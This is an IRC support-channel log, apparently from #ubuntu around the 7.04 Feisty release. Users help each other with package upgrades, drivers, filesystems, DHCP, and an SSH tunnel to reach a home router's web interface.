[12:07] <HObbES1> allrite
[12:07] <HObbES1> ill go have a look at the cable router settings
[12:07] <HObbES1> thanks for all the help
[12:08] <mneptok> HObbES1: a cable modem and hub alone will not work.
[12:08] <HObbES1> i'll be back eventually for actual ubuntu help =)
[12:08] <HObbES1> i'll try eliminating the hub and just use the router and cable modem
[12:08] <HObbES1> see what i can do
[12:09] <zcat[1] > HObbES1, I don't know much about cable modems, but most adsl modems I've run into also do routing/nat/whatever as well...
[12:09] <zcat[1] > damn, he's gone..
[12:09] <zcat[1] > I guess if I'm right, he'll be back shortly
[12:10] <zcat[1] > (and if I'm wrong, he might never find his way back!)
[12:11] <dejand> hello
[12:11] <dejand> error while loading shared
[12:11] <dejand> libraries: libcrypto.so.2: cannot open shared object file: No such file or directory
[12:12] <dejand> what do i must install
[12:14] <fiery_cleric> look for libcrypto.so.2 file at packages.ubuntu.com
[12:14] <fiery_cleric> it will tell what package it is in
[12:14] <zcat[1] > dejand, apt-cache search libcrypto  -- gives a list of packages. looks like libcrypto++5.2c2a would be the most likely, but I'm just guessing
[12:16] <moDumass> evening all, how do i map "Space" + Mouse key one to initiate rotatiopn of my cube, every time i try it just ignores it and repaces it with "None"
[12:17] <zcat[1] > fiery_cleric: hmm, apaprently it's libssl-dev  :_)
[12:18] <kippi> what is the default firewall for Ubuntu?
[12:18] <mc44> kippi: there is n
[12:18] <bullgard4> My program 'Gnome System Monitor' lists for my / partition: "free 4,3 GB, available 3,7 GB." What is the difference between 'free' and 'available'?
[12:18] <mc44> kippi: there is no firewall by default
[12:18] <zcat[1] > kippi, default firewall rules are 'accept all'
[12:18] <mc44> !firewall | kippi
[12:18] <ubotu> kippi: Ubuntu, like any other linux distribution, has firewall capabilities built-in. The firewall is managed using the 'iptables' command (see https://help.ubuntu.com/community/IptablesHowTo), or GUI applications such as Firestarter (Gnome) or Guarddog (KDE).
[12:18] <kippi> ah iptables, thanks
[12:19] <zcat[1] > kippi: firestarter is a much easier way to administrate your firewall..
[12:19] <zcat[1] > !firestarter
[12:19] <ubotu> Ubuntu, like any other linux distribution, has firewall capabilities built-in. The firewall is managed using the 'iptables' command (see https://help.ubuntu.com/community/IptablesHowTo), or GUI applications such as Firestarter (Gnome) or Guarddog (KDE).
[12:19] <zcat[1] > hmm......
[12:19] <osio> hello
[12:19] <osio> has someone installed the server version of feisty?
[12:20] <zcat[1] > osio: I'm waiting until tomorrow
[12:20] <zcat[1] > osio: I've been runnign the desktop since beta though
[12:20] <osio> me too
[12:20] <mellow_bunny> im waiting on the release to install the server
[12:21] <osio> i am asking because of LAMP
[12:21] <mellow_bunny> i have 6.10 lamp running at home.. but i fudged the ftp X_X
[12:21] <mellow_bunny> so i decided to wait and just start from scratch
[12:21] <UberPsyX> hi, sorry for sounding like a newb but i just bought a new pci graphics card, do i have to take out my old graphics card or can i keep it in there?
[12:22] <mellow_bunny> im excited about the virtualisation prospects..
[12:22] <zcat[1] > osio, you probably should ask on #ubuntu+1..
[12:22] <osio> okay
[12:22] <osio> thanx
[12:22] <sciboy> I need some help finding a reason and solution to: http://sh.nu/p/18537
[12:22] <dejand> okej i added some new machines in /etc/dhcp/dhcpd.conf
[12:22] <dejand> how do i restart it now?
[12:23] <dejand> what i could just
[12:23] <dejand> ping hostname
[12:23] <dejand> not whole ip
[12:23] <zcat[1] > dejand, for that you want to add them in /etc/hosts
[12:24] <dejand> no,
[12:24] <dejand> i have that done by that .conf but works after reboot
[12:24] <dejand> but i dont want reboot
[12:24] <UberPsyX> hi, sorry for sounding like a newb but i just bought a new pci graphics card, do i have to take out my old graphics card or can i keep it in there?
[12:24] <zcat[1] > dejand, /etc/init.d/dhcpd restart  probably
[12:24] <fiery_cleric> sciboy: have u tried what the error message suggests?
[12:24] <sciboy> fiery_cleric, Yes and no change.
[12:24] <moDumass> hey whats that channel you guys send us to for beryl questions? its like ubuntu_effects
[12:25] <zcat[1] > !beryl
[12:25] <ubotu> Beryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-effects
[12:25] <mellow_bunny> UberPsyX is your old card pci as well or agp?
[12:25] <mellow_bunny> it's a good idea to just straight replace
[12:25] <mellow_bunny> so as not to confuse the system to much
[12:25] <fiery_cleric> sciboy: the aperture size is way too big
[12:25] <UberPsyX> mellow_bunny: err i dunno i think its pci as the monitor port is coming from a pci card
[12:26] <sciboy> fiery_cleric, I wouldn't know how to change it though.
[12:26] <fiery_cleric> sciboy: what driver?
[12:26] <sciboy> fiery_cleric, agpgart/nvidia.
[12:26] <mellow_bunny> UberPsyX: your best bet is to try and replace it and not have the two running at once
[12:27] <UberPsyX> mellow_bunny: damn i thought it would be cool to have 2 cards at the same time :P ok thanks for the help
[12:27] <fiery_cleric> sciboy: have u looked at the nvidia driver README
[12:28] <mellow_bunny> UberPsyX: there really is no point unless you have a specific use in mind
[12:28] <UberPsyX> mellow_bunny: yer i know :P
[12:28] <mellow_bunny> UberPsyX: also if it is an AGP card then you won't be able to put two in
[12:28] <sciboy> fiery_cleric, Yeah nothing caught my eye when i skimmed over it.
[12:29] <UberPsyX> mellow_bunny: this is the first time ive actually done anything INSIDE my pc apart from installing a pci wifi card
[12:30] <mellow_bunny> UberPsyX: well good luck :3
[12:30] <UberPsyX> mellow_bunny: thanks
[12:30] <larry_> help me! my new dapper install keeps hanging! =0(
[12:30] <fiery_cleric> sciboy: sciboy usually the aperture size is chosen automatically/or from the BIOS setting AFAIK
[12:30] <larry_> I can log in for a few seconds
[12:30] <larry_> and then everything freezes
[12:30] <sciboy> fiery_cleric, I didn't see anything in the bios so we can assume automatic.
[12:31] <fiery_cleric> sciboy: is is PCI express or AGP
[12:31] <fiery_cleric> it
[12:31] <sciboy> AGP
[12:31] <larry_> I cant use the graphical session at all it hangs every time. where do I look to debug this?
[12:32] <mellow_bunny> larry_: are you able to boot into command line?
[12:32] <larry_> yes
[12:32] <larry_> I am on command line now using irssi to get irc connection
[12:32] <sciboy> fiery_cleric, As a note, this all started happening after i had a system freeze that messed up my ext3 partition and had to have the bios reset to defaults.
[12:33] <fiery_cleric> sciboy: maybe there is an bios setting then...
[12:33] <mellow_bunny> larry_: have you tried booting your x server from command line?
[12:33] <sciboy> fiery_cleric, Maybe under a different keyword, but i didn't see anything i would deem relevant. =/
[12:33] <larry_> mellow_bunny: I have killed and reset X from command line - but the same thing happens
[12:34] <mellow_bunny> larry_: this is a fresh install? not an upgrade?
[12:35] <larry_> mellow_bunny: the install cd kept hanging too - so I installed breezy and upgraded
[12:35] <larry_> now the dapper upgrade is hanging just like the cd
[12:35] <larry_> I tried to upgrade to edgy but I got a kernel panic
[12:36] <bestmaury> giorno a tutti..
[12:36] <mellow_bunny> very interesting
[12:36] <larry_> I think I might try the edgy upgrade again and see what happens
[12:36] <mellow_bunny> sorry though i'm not sure what the problem could be unless there is a major shift in the base system from breezy that is casuing the issue
[12:37] <mellow_bunny> you could wait around for feisty?
[12:37] <larry_> might get kernel panic again
[12:37] <larry_> well I have an unusable system right now
[12:37] <mellow_bunny> ouch
[12:37] <larry_> I cant watch dvds on command line
[12:37] <kalin> hey, one of my vm's time is out, is there a simple way to time-sync with some net server?
[12:37] <kalin> or some recommended way?
[12:37] <mellow_bunny> a broken system is never fun
[12:38] <mellow_bunny> im trying to remotely upgrade a server with centos 5 ><
[12:38] <larry_> I'll try edgy upgrade again
[12:38] <mellow_bunny> not going so good
[12:38] <larry_> might get another kernel panic
[12:38] <mellow_bunny> let us know larry_ and good luck
[12:38] <larry_> be back soon regardless
[12:38] <mellow_bunny> righto
[12:40] <mneptok> kalin: ensure vmware-tools is installed on the guest anh have the host use ntpd
[12:40] <larry_> holy crap
[12:41] <larry_> no kernel panic
[12:41] <larry_> it seems to be working
[12:41] <larry_> it'd downloading the pacages now
[12:41] <mellow_bunny> YAY
[12:41] <larry_> bit of a relief
[12:41] <larry_> although hopefully itll boot when it's done
[12:41] <mneptok> Breezy -> ?
[12:41] <larry_> I couldnt boot the edgy cdrom
[12:41] <mellow_bunny> Edgy
[12:42] <larry_> no
[12:42] <larry_> I installed breezy from cd because it was the only cd that would boot
[12:42] <larry_> upgraded to dapper last night
[12:42] <larry_> now upgrading to edgy
[12:42] <mneptok> careful
[12:43] <mneptok> the sysvinit -> upstart change is not without bumps.
[12:43] <larry_> the edgy cdrom wouldnt boot either tho - tried the 64 bit and the 32 bit (running on AMD)
[12:43] <larry_> same with the dapper cds
[12:43] <mneptok> try burning them at the absolute slowest speed
[12:44] <larry_> hopefully I wont have to burn anything now
[12:44] <shukhrat> hi all
[12:44] <mellow_bunny> hi
[12:44] <larry_> the only cdrom that would boot properly and run for me was the breezy 64 bit (not that I tried the breezy 32 bit - that was last resort)
[12:45] <shukhrat> who knows joomla rusian channel ?
[12:45] <ledemente> I'm looking for an app that will create image animations.
[12:45] <mneptok> larry_: a 64 bit desktop is kinda a PITA, in my experience
[12:46] <larry_> PITA???
[12:46] <mneptok> larry_: the lack of a Flash plugin is really annoying
[12:46] <mellow_bunny> p__n in t_e a_s
[12:46] <ledemente> ai h s!
[12:46] <larry_> mneptok: I can run flash on 64 bit - either running my firefox and flash in a 32 bit chroot or using something else
[12:47] <mneptok> larry_: ugly.
[12:47] <larry_> there is software that will allow it to run without the chroot
[12:47] <larry_> cant remember what it's called
[12:47] <mneptok> nspluginwrapper
[12:47] <larry_> probably
[12:47] <larry_> yea I think that's it
[12:48] <rogue780> Feisty gets released tomorrow right?
[12:48] <mc44> probably
[12:48] <mneptok> rogue780: when it's ready
[12:48] <mellow_bunny> 90/269 packages downloaded.
[12:48] <gray_fox> hello
[12:48] <mellow_bunny> they are testing the final candidates at the moment
[12:48] <mellow_bunny> hi gray_fox
[12:49] <larry_> lol - I might be  doing 3 dist-upgrades today then
[12:49] <larry_> amnt I glad I didnt have to resort to installing hoary on this machine
[12:50] <mneptok> mellow_bunny: we are? news to me. :)
[12:50] <ledemente> I'm aware Gimp can do it... somehow - but I'd rather a specialised GIF animator.
[12:50] <mellow_bunny> Final candidate needs testing - see https://lists.ubuntu.com/archives/ubuntu-devel-announce/2007-April/000281.html
[12:50] <mc44> mneptok: you should keep up
[12:51] <Linuxnewbie756> feisty still due out tommorow?
[12:51] <rasputnik> Linuxnewbie756: we think so yeah
[12:51] <mneptok> mellow_bunny: heno is often drunk. he often lies on lists in a deliberate attempt to confuse me.
[12:51] <gnomefreak> Linuxnewbie756: this week. there is no promises and cant be
[12:51] <mellow_bunny> XD
[12:52] <Linuxnewbie756> rasputnik: i would download the rc, but i have school and stuff, so i really don't have the time
[12:52] <mc44> mneptok: !coc :p
[12:52] <Linuxnewbie756> gnomefreak: totally understand, thats the way it works
[12:52] <rasputnik> Linuxnewbie756: ah, just wait for the release. it's not like it's earth shattering.
[12:52] <mellow_bunny> 	<mellow_bunny>	tomorrow is only 1:10mins away
	mellow_bunny: not for me and I'm the release manager.
[12:52] <Linuxnewbie756> rasputnik: lol, gotcha
[12:56] <tatters> I get continual error in syslog [ 5957.012819]  keyboard.c: can't emulate rawmode for keycode 240, how can I stop the error in logs its grown to nearly 1gb
[12:57] <mellow_bunny> o.o
[12:57] <mellow_bunny> good god man
[12:58] <mneptok> ?
[12:58] <mellow_bunny> 1gb logfile because of a keyboard error is unusual
[12:59] <P3nnywise> What should i type in terminal when i enter wep key?
[12:59] <Paul_UK> can someone hack into ubuntu.com and leak out fiesty :p
[12:59] <apokryphos> Paul_UK: the final rc has been released anyway
[12:59] <P3nnywise> yesterday someone in here told me to write this
[12:59] <JGJones> It's already available Paul_UK ;)
[01:00] <Paul_UK> JGJones? Where? :P
[01:00] <JGJones> just modify your apt sources to feisty
[01:00] <mc44> JGJones: no
[01:00] <P3nnywise> sudo iwconfig $ADAPTER essid "$AP-NAME" key restricted $WEPKEY mode managed ap any power on
[01:00] <apokryphos> JGJones: no, please don't advise that
[01:00] <mellow_bunny> tatters: is it a usb keyboard?
[01:00] <Paul_UK> hehe, thought not
[01:00] <rasputnik> Paul_UK: 'sudo update-manager -d'
[01:00] <apokryphos> JGJones: Paul_UK: /msg ubotu upgrade
[01:00] <Paul_UK> Paul_UK: /msg ubotu upgrade
[01:00] <Paul_UK> oops lol
[01:01] <mellow_bunny> ubotu?
[01:01] <rasputnik> mellow_bunny: chatbot
[01:01] <tatters> mellow_bunny: yes a labtech wireless usb k/board
[01:01] <mellow_bunny> ah i see
[01:01] <apokryphos> !bot
[01:01] <ubotu> I am ubotu, all-knowing infobot. You can browse my brain at http://bots.ubuntulinux.nl - Usage info: http://wiki.ubuntu.com/UbuntuBots
[01:02] <JGJones> update-manager -d...interesting - I've never used it myself having been rather set in using apt-get dist-upgrade method. Must give it a try on another PC
[01:02] <rasputnik> JGJones: it takes out some obsolete packages, etc.
[01:03] <apokryphos> JGJones: if you use plain dist-upgrade there are no guarantees
[01:03] <root__> hi
[01:03] <mellow_bunny> tatters are you running Dapper?
[01:03] <JGJones> ah I see
[01:03] <apokryphos> root__: you should not IRC as root
[01:03] <tatters> fiesty
[01:03] <apokryphos> wuming: you're still IRC'ing as root 8)
[01:03] <cyberfr0g`> hi
[01:03] <HYPOCRISY> hi
[01:03] <deepsa> hi
[01:03] <wuming> hi
[01:03] <mellow_bunny> hi
[01:03] <SoftIce> hi, what is the story with fesity and vserver, no more vserver support?
[01:03] <mc44> apokryphos: but now no one can tell! :)
[01:03] <HYPOCRISY> good
[01:03] <JGJones> rasputnik: apokryphos: but doesn't apt-get autoremove take care of that?
[01:04] <apokryphos> mc44: ssshh, secret!
[01:04] <apokryphos> JGJones: no, not at all.
[01:04] <jonaskul> is there any partition manager in ubuntu?
[01:04] <mellow_bunny> tatters: im not sure how to fix that sorry, the problem did appear with kernel versions 2.6.18 and lower
[01:04] <apokryphos> jonaskul: /msg ubotu partition
[01:04] <mc44> JGJones: update manager handles package transitions and things much better than apt
[01:04] <rasputnik> JGJones: sometimes, sometimes not.
[01:04] <rasputnik> jonaskul: yes.
[01:04] <mc44> autoremove is something completely different
[01:05] <mellow_bunny> tatters: at least something very similar occured
[01:05] <apokryphos> libapt is not that great to work with and apt is a little dumb, but it allows it to be quick ;-)
[01:05] <mellow_bunny> tatters: it may be a case of selecting an alternate kernel
[01:05] <JGJones> apokryphos: Thanks for the info, I am now enlightened and shall use that update-manager method from now on as well as for anyone else that ask me.
[01:05] <apokryphos> cool
[01:05] <tatters> mellow_bunny: thnx anyways no worries , I found a cpl of threads but me noob and need a distro specific fix
[01:05] <mellow_bunny> right well good luck
[01:06] <tatters> Is there any way I could at least stop syslog from reporting the problem?
[01:07] <TimonUbuntu> Can anybody help me access my home router through SSH?
[01:08] <mneptok> TimonUbuntu: does your router run an sshd?
[01:08] <mneptok> (most don't)
[01:08] <surviver> hy evry1, i've got a question; i have ubuntu 64 bit version 6.10, now when i want to shut down i cant find the shutdown icon i see log out lock session switch user and hibernate no shutdown ...
[01:08] <TimonUbuntu> im running SSHD on a computer at home, and i have the right ports open.
[01:08] <mneptok> surviver: X is not your primary login session. a TTY is.
[01:08] <Keis> sudo shutdown -h now :)
[01:09] <mellow_bunny> tatters: im not sure sorry there should be an option somewhere but i wouldnt be able to point you there directly
[01:09] <TimonUbuntu> I am connected via SSH to my home pc, I need to access the router firmware, i thought i might be able to rout http through ssh?
[01:09] <surviver> mneptok, so u say i need to shutdown true console?
[01:09] <mneptok> TimonUbuntu: then you can access sshd on that nachine. not the router.
[01:09] <albert> hi, does anybody now a lightweight version of the "kdesu" program?
[01:09] <mneptok> surviver: open a terminal and "sudo shutdown -h now"
[01:09] <surviver> oke :)
[01:09] <rasputnik> TimonUbuntu: you want to port forward.
[01:09] <surviver> brb
[01:10] <mneptok> TimonUbuntu: you want an ssh tunnel
[01:10] <TimonUbuntu> Well my goal is to access VNC , and to do that i need to forward the correct ports on my router
[01:11] <mellow_bunny> TimonUbuntu: you want cake
[01:11] <TimonUbuntu> heh
[01:11] <mellow_bunny> does your router have telnet access?
[01:11] <mneptok> TimonUbuntu: why not just use ssh?
[01:11] <mellow_bunny> telnet is fun
[01:11] <mneptok> TimonUbuntu: VNC has a much larger overhead, and no encryption.
[01:11] <TimonUbuntu> Its running OS X which has limited access via terminal
[01:11] <mellow_bunny> because he shifted ssh to his server?
[01:11] <markoski> someone write to me
[01:12] <shawn34> Feisty goes live tomorrow!
[01:12] <shawn34> anyone grabbing it right away?
[01:12] <jhaig> shawn34: #ubuntu+1 is fairly busy.  I guess that lots of people already have.
[01:12] <rasputnik> TimonUbuntu: from the machine outside, running ' ssh -L 8080:theinternalipofyourrouter:80 user@yourhomemachine'
[01:12] <TimonUbuntu> So is there any way i can open up a http address to my router from the internal PC via ssh
[01:13] <mneptok> TimonUbuntu: you want an ssh tunnel
[01:13] <rasputnik> TimonUbuntu: what I typed forwards port 8080 on the machine you run it on to port 80 on theinternalipofyourrouter via yourhomemachine
[01:13] <TimonUbuntu> Ok i'll give that a shot
[01:14] <rasputnik> TimonUbuntu: then point your browser to http://localhost:8080
[01:14] <TimonUbuntu> thanks rasputnik
[01:15] <Ilgaz> people, do we report Quad G5 Fans going nuts to Ubuntu current buglist or it is known issue?
[01:15] <rasputnik> np. so long as yourhomemachine can see theinternalipofyourrouter, and the machine you ssh from can see yourhomemachine, it'll work
[01:15] <mneptok> Ilgaz: search for a bug in LP
[01:16] <TimonUbuntu> rasputnik worked a treat
[01:16] <rasputnik> yay!
[01:16] <TimonUbuntu> rasputnik thanks a lot mate!!
[01:16] <zanexx297> hi guys im new to linux an i chose ubuntu,unfortunately i need to run some Micro$oft apps for school
[01:16] <zanexx297> emulators?
[01:17] <rasputnik> zanexx297: vmware works on ubuntu
[01:17] <mc44> zanexx297: or wine
[01:17] <mellow_bunny> crossover office?
[01:17] <mneptok> zanexx297: what apps?
[01:17] <mellow_bunny> except that costs
[01:17] <mellow_bunny> X_X
[01:17] <michaelpo> what software do i use to erase cdrw disc?
[01:17] <zanexx297> office 2003, jgrasp
[01:18] <rasputnik> zanexx297: yeah, install vmware server. it's free now.
[01:18] <zanexx297> help me on wine pls
[01:18] <zanexx297> i selectd it from install apps and installed but how da hell do i use it?
[01:18] <mneptok> zanexx297: OpenOffice won't work?
[01:19] <rasputnik> zanexx297: jgrasp works on linux, and openoffice reads word fine.
[01:19] <zanexx297> but does word read open office?
[01:19] <mneptok> yes
[01:19] <factorx> rasputnik: you mean "fine".
[01:19] <rasputnik> zanexx297: just save as 'doc'
[01:19] <rasputnik> factorx: i said fine
[01:19] <mneptok> and i just launched jGrasp. works fine with sun-java6-jre on Feisty
[01:19] <zanexx297> thanks, and how do i setup ntfs-3g?
[01:20] <zanexx297> iv got edgy
[01:20] <factorx> some files, especially those including complex tables or something just look like crap
[01:20] <mneptok> zanexx297: should be fine in java5, too
[01:21] <rasputnik> factorx: oic. I only need it for reading the odd email from eejits, so...
[01:21] <Ilgaz> funny is, the only way to use a accelerated java 6 on Mac ppc is using Linux and IBM jvm
[01:21] <factorx> then it should be ok
[01:22] <zanexx297> thanks guys.what about ntfs-3g as i have a 320gb ntfs harddrive full of stuff and i cant format it
[01:22] <zanexx297> cause i dont want to loose the info
[01:22] <mneptok> "lose" ;)
[01:22] <mneptok> !ntfs-3g > zanexx297
[01:22] <mc44> mneptok is loose. you want to lose him. Thats how I remember it :p
[01:23] <jin> !ntfs-3g
[01:23] <ubotu> ntfs-3g is is a Linux driver which allows read/write access to NTFS partitions. It has been extensively tested but please remember to keep backups of critical data. Installation instructions at http://lunapark6.com/?p=1710 (Dapper) and http://ubuntuforums.org/showthread.php?t=217009/ (Edgy)
[01:23] <zanexx297> thanks again
[01:23] <factorx> is ntfs-3g a *native* linux driver or a wrapper for the windows driver?
[01:24] <USMarine> native
[01:25] <factorx> now that we're talking about it... i have another question concerning FS on an external HDD... I'm going to buy a new one. which filesystem should I use, if I need to access my data from linux, *BSD and mac os x?
[01:25] <mneptok> ext3
[01:25] <USMarine> xfs
[01:26] <factorx> xfs is not supported by OS X afaik
[01:26] <rasputnik> factorx: vfat :(
[01:26] <USMarine> hen ext3
[01:26] <mneptok> USMarine: OSX does not support XFS
[01:26] <USMarine> then*
[01:26] <USMarine> xfs pwns, so it was a joke
[01:26] <factorx> nope, FAT is crap since I've got files that are larger than 4 gig
[01:26] <mneptok> factorx: ext3 is the best bet
[01:26] <rasputnik> mneptok: osx reads ext3?
[01:26] <mneptok> rasputnik: yes
[01:27] <factorx> do I need special tools for OS X to read ext3?
[01:27] <rasputnik> mneptok: oh, cool
[01:27] <laichzeit> ok so it's Thursday in Australia now, how long till the release of 7.04?
[01:27] <freshmouse> Hello. I've a question. I'd like to download Ubuntu FF CD. The quoestion: is the CD in final stage (w)?
[01:27] <mellow_bunny> 205/269 packages downloaded.
[01:27] <mneptok> http://sourceforge.net/projects/ext2fsx
[01:27] <freshmouse> I don't want download it again.
[01:27] <mellow_bunny> hopefully tomorrow
[01:27] <mneptok> http://fs-driver.org
[01:28] <Keis> Only wednesday 13.27 here in dk :) and says tomorrow here
[01:28] <atomiku> How do I use a chain of proxies?
[01:28] <mc44> freshmouse: then wait for it to be released
[01:28] <mellow_bunny> and as of last night  things in the release havent changed?
[01:28] <michaelpo> found the solution, nautilus will erase the cdrw, before writing new iso....
[01:28] <gnomefreak> mellow_bunny: no and hopfully wont
[01:28] <factorx> I'd like to use a FS that works out-of-the-box
[01:28] <freshmouse> mc44: I can't wait. ;-)
[01:28] <mellow_bunny> you might want to check in #ubuntu+1
[01:28] <freshmouse> Ok.
[01:28] <factorx> what about UFS? does linux work well with it?
[01:28] <rasputnik> factorx: no
[01:29] <USMarine> btw, i've got big doubt. the arquitecture amd64 also applies to core 2 duo, am i right?
[01:29] <rasputnik> factorx: what about HFS? pretty sure ubuntu reads that.
[01:29] <mellow_bunny> gnomefreak: sweet XD i'm gonna wait till it releases proper just in case
[01:29] <Layer8> hi
[01:29] <mjr> USMarine, yes
[01:29] <mellow_bunny> my server needs some ubuntu tlc
[01:29] <Layer8> can someone help me with automake?
[01:30] <rasputnik> Layer8: what's wrong?
[01:30] <Layer8>  im trying to compile xmblackberry on 6.10 but I get some errors
[01:30] <Paul_UK> anyone have an ATI card and has installed a 3d gui?
[01:31] <rasputnik> Layer8: and what are they?
[01:31] <mneptok> Layer8: Blackberry? and Linux? good luck.
[01:31] <Layer8> it tells me that some macros are missing...
[01:31] <mellow_bunny> which macros?
[01:31] <doc|> hi, when   glxinfo | grep render      comand not found , what can I do ?
[01:32] <Layer8> mneptok I got an older version to work and used my bb as umts modem
[01:32] <steven43126> whats a good replacement for exchange that will allow evolution to sync calendar events and tasks ?
[01:32] <rasputnik> Layer8: have you installed autoconf
[01:32] <Layer8> rasputnik yes! and some things that I found in apt-cache, too
[01:32] <BruceLeeds> hey guys, does someone know, how to install a selection, that was set with "dpkg --set-selection"?
[01:33] <Layer8> the package is from cvs and I try to do a ./CVSMake that uses autoconf and automake
[01:34] <rasputnik> Layer8: try one of the various auto* versions until one works. really, it's a dreadful mess.
[01:34] <Layer8> oh ok
[01:34] <Layer8> ill try that
[01:34] <rasputnik> Layer8: it's even worse if you're not on linux, so why they sell it as a portability aid is beyond me.
[01:35] <kILLusion-_-> hi
[01:35] <kILLusion-_-> at what time will the final ubuntu images be released tomorrow?
[01:35] <doc|> hi, when   glxinfo | grep render      =             comand not found , what can I do ?  ?
[01:35] <mc44> kILLusion-_-: when they are ready
[01:35] <mellow_bunny> can we spin a wheel to guess?
[01:35] <mellow_bunny> whomever guesses correctly gets a free feeling of accomplishment
[01:35] <rasputnik> kILLusion-_-: we are waiting for you to go to bed first
[01:36] <mellow_bunny> XD
[01:36] <kILLusion-_-> :O
[01:36] <USMarine> just make a cronjob and go to bed
[01:36] <Layer8> "funny" thing that costs a lot of time...
[01:36] <BruceLeeds> hey guys, does someone know, how to install a selection, that was set with "dpkg --set-selection"?
[01:36] <kILLusion-_-> the last ubuntu version didnt even boot after install so this is the last chance i give to ubuntu
[01:36] <kILLusion-_-> if it doesnt work again this time ill stay with gentoo
[01:37] <mellow_bunny> server or desktop?
[01:37] <kILLusion-_-> desktop
[01:37] <larry_> my dist-upgrade to edgy keeps giving me the kernel panic
[01:37] <larry_> =0(
[01:37] <larry_> Unfortunately I have to go for about an hour
[01:37] <larry_> I'll be back
[01:38] <mellow_bunny> BruceLeeds: http://linuxreviews.org/man/dpkg/
[01:38] <rasputnik> larry_: don't dist-upgrade! do 'update-manager -d'
[01:38] <larry_> ok
[01:38] <rycuda> rasputnik, is the difference between the two documented somewhere?
[01:39] <doc|> larry_,  gpg   on console, and Ctrl c   , if show error gpg
[01:39] <rasputnik> rycuda: there's no ubuntu docs that recommend using dist-upgrade. just ex-debianites use it.
[01:39] <mellow_bunny> BruceLeeds: this might work? dpkg --yet-to-unpack - Searches for packages selected for installation, but which for some reason still haven't been installed.
[01:39] <larry_> doc|, ????
[01:40] <larry_> I ran gpg
[01:40] <rycuda> I fit neatly into the ex/still debian category rasputnik. I'm just wondering what updatemanager does that apt doesn't on it's own?
[01:40] <larry_> then Crtl-c to get out of it
[01:41] <moDumass> hey all, how do i turn off screensaver whilst watching movies?
[01:41] <rasputnik> rycuda: me too -  handles cleaning out old packages, handles cases where the functinality of package x is replaced by package y and z, etc.
[01:41] <larry_> doc|, what was that meant to do?
[01:41] <BruceLeeds> mellow_bunny: yes - I see. Instead of setting a selection and then installing it, it would be possible to install the packages from a file directly with "dpkg -i MYFILE" wouldn't it?
[01:41] <doc|> larry_,   when you try   sudo update-manager -d          if some error gpg , only   gpg   comand  normal user
[01:41] <mellow_bunny> yup
[01:41] <rycuda> I'll have to try that for the feisty upgrade. Thanks rasputnik!
[01:42] <rasputnik> rycuda: went smooth for me (dapper -> edgy, and edgy -> feisty)
[01:43] <rycuda> This machine went dapper -> edgy using dist-upgrade. I've had other that had problems though and that might well be why.
[01:43] <BruceLeeds> mellow_bunny: do you know, whether the syntax of this file would be the same as the syntax of the file which content would be set as the selection with "dpkg --set-selection"?
[01:44] <mellow_bunny> that is a confusing sentence and im not sure what you mean sorry
[01:44] <BruceLeeds> sorry. I try again.
[01:45] <mellow_bunny> by syntax what do you mean? do you mean the operators "-i" that you use
[01:46] <drago> simple question: How can i mount a .bin image? (got the .cue aswell)
[01:46] <BruceLeeds> The command "dpgk --get-selection" produces a file with a specific syntax (writing in this file all the packages which are currently installed). The command "dpgk --set-selection" sets the selection according to the syntax which "dpgk --get-selection" used to write the file.
[01:47] <BruceLeeds> ... mellow_bunny
[01:47] <mellow_bunny> i see
[01:47] <markoski> hello
[01:48] <jrib> BruceLeeds: sudo apt-get dselect-upgrade   with regards to your first question
[01:49] <sedra> hello how to install beryl on ubuntu? help i'm newbie
[01:49] <png> sedra, there are howtos both ati and nvidia .. use google
[01:49] <BruceLeeds> mellow_bunny: the question is now, whether "dpgk -i MYFILE" installs the packages according to the same syntax as "dpkg --set/get-selection" used
[01:49] <mellow_bunny> BruceLeeds: the syntax of the file produced by get-selection has no relation to the use of a command such as dpkg -i FILENAME
[01:49] <mellow_bunny> should do
[01:50] <mellow_bunny> that makes more sense XD
[01:50] <IdleOne> !beryl > sedra    (sedra, see the private message from Ubotu)
[01:50] <mellow_bunny> it uses the same system dude
[01:50] <finalbeta> What app can I use to edit (just cutparts from) MP3/WMA/free format Sound files?
[01:50] <mellow_bunny> get-selection just allows you to create a list first as opposed to "on the fly" installs
[01:50] <sedra> IdleOne thx
[01:50] <mellow_bunny> the method remains the same
[01:50] <sedra> ati
[01:50] <sedra> !ati
[01:51] <ubotu> To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[01:51] <png> sedra, http://www.google.com.tr/search?hl=tr&q=ubuntu+beryl+ati&btnG=Google%27da+Ara&meta=
[01:52] <sedra> png ok thnx
[01:53] <carras> hi
[01:53] <mellow_bunny> hi carras
[01:53] <BruceLeeds> mellow_bunny: ok, if I understood you correctly now, than I can write MYFILE for "dpkg -i" with the same syntax as for "dpgk --set-selection"/"dpgk --get-selection". Right?
[01:53] <carras> someone knows a way to change virtual descktops with mouse's wheel ?
[01:53] <carras> like in xfce or beryl
[01:53] <png> carras, it is possible with beryl
[01:53] <mellow_bunny> BruceLeeds: yes
[01:54] <carras> how ?
[01:54] <BruceLeeds> mellow_bunny: ok, thanks.
[01:54] <USMarine> carras kde does that if you configure the desktop
[01:54] <carras> yes, i know kde do
[01:54] <carras> but gnome ?
[01:54] <mellow_bunny> BruceLeeds: np, let us know how you get on
[01:54] <USMarine> i dont use gnome
[01:54] <png> carras, i ve done it on gnome with beryl usin beryl manager from setting. i dont remember how:D
[01:55] <carras> i used gentoo and xfce 4 for a long time
[01:55] <USMarine> i used gnome for a long time too unfortunately
[01:55] <carras> and i am customing my new ubuntu
[01:55] <USMarine> to bad i didnt find there was kde long before
[01:56] <carras> :/ i don't like kde so much
[01:56] <carras> gnome is cool, but i miss some configuration options
[01:56] <USMarine> gnome is too simple
[01:56] <USMarine> it doesnt do what i need
[01:56] <carras> but kde is crasy
[01:56] <USMarine> i'd rather have more tweaking than missing
[01:57] <BruceLeeds> mellow_bunny: no - I tried - it's not installing lists. it's installing only packages direktly: means: I have to give him not a list (like with "...-selection") but a package on my computer...
[01:57] <carras> well, another question
[01:57] <mellow_bunny> ah i see Bruce
[01:57] <mellow_bunny> sorry there
[01:57] <carras> will aotomatix bring me lot of problems ?
[01:58] <carras> or it works fine ?
[01:58] <IdleOne> !automatix
[01:58] <ubotu> automatix is a script that tries to install some software, and often fails and breaks systems. We don't provide support for it, and we strongly discourage its use. Problems caused by Automatix are often hard to track and solve, and it might sometimes be easier to !install a fresh copy of Ubuntu. See also !WorksForMe
[01:58] <carras> nice
[01:58] <IdleOne> carras: dont use automatix.
